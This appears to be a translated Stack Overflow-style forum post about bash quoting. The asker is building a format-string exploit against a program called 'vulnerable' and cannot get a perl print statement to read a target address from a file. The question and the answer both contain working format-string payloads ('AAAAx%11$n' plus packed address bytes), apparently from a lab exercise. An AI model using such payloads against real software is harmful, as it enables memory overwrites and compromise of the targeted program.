2015-12-14 119 views
1

我正在爲易受攻擊的程序編寫一個格式字符串利用腳本。Bash - perl打印語句中的文件內容

我可以用下面的輸入執行程序來利用此漏洞:

./vulnerable `perl -e 'print "\x11\x11\x11\x40\x99\x04\x08"'`'AAAAx%11$n' 

這裏\x40\x99\x04\x08vulnerable一個變量的地址。

我想編寫一個腳本來生成沒有硬編碼地址的輸入。 在我的腳本中,我檢索變量的地址並將其存儲在address.txt中。 然後我嘗試調用vulnerable從我的劇本和我一樣過,但隨着address.txt內容:

./vulnerable $(perl -e 'print "\x11\x11\x11$(<address.txt)"')'AAAAx%11$n’ 

address.txt含量爲\x40\x99\x04\x08所以有什麼毛病我提供的address.txt到內容的方式perl打印語句。

我也試着離開了$()周圍perl

./vulnerable `perl -e 'print "\x11\x11\x11$(<address.txt)"'`'AAAAx%11$n' 

但這呈現相同的結果。

我在做什麼錯?

回答

1

單引號不擴展$(...)

./vulnerable $(perl -e 'print "\x11\x11\x11'$(<address.txt)'"')'AAAAx%11$n' 
#           <-------------> 
#      <------------------->    <-> 
#   <------------------------------------------------><---------->